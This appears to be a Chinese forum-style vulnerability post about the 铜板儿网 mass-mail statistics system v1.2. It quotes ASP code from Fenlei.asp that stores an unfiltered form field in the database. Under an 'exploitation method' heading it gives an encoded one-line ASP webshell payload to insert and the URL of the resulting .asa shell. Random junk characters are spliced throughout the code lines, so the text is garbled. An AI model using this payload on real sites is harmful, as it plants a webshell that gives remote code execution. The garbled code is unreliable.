铜板儿网邮件群发统计系统 v1.2 漏洞

admin

'Fenlei.asp

IF Request.QueryString("Action")="del" Then
ID=Request.QueryString("ID")
! C# t$ C" H: s$ h6 S9 vIF Countss ("tui","Fenlei",ID )<>0 then
1 M" Y" W/ R5 J9 I) B7 a4 b'略
IF Request.QueryString("Action")="Add" Then
Tname=Request.Form("Typename")
Set Rs=Server.CreateObject("adodb.Recordset")
7 c: R' \8 h# F! }2 y" Z% USql="Select * From Fenlei Order by id Desc "
Rs.Open Sql,Conn,1,3
5 M0 I/ X; K* o1 V6 d' d4 ^; ]Rs.Addnew
Rs("Typename")=Tname
'略
2 k3 N) R+ a2 T$ U$ D9 ~' W& TSet Rs=Server.CreateObject("adodb.Recordset")
3 x  a7 A, t# }0 }$ WSql="Select * From Fenlei Order by id Desc "
Rs.Open Sql,Conn,1,1
'略
8 `$ i6 `2 p: l& Y2 k%>

+ H8 v% D+ a- @2 N' J( \" p

$ e' t( y/ t# f4 Z- Z没有过滤，直接写入数据库。

# C6 P1 H2 a, J$ h' S利用方法：
+ H; @2 m8 T  c3 U0 F
$ `$ {' {/ i" C2 e6 ^% P& F/ U插入：┼攠數畣整爠煥敵瑳∨≡┩>
  \) b- X4 k" u' p, U3 B/ \7 Q* _$ i

连接： http://www.xxx.com/###tongbaner.asa
9 p+ V' e7 g/ Y0 `# R* u'默认安装文件：
'install.asp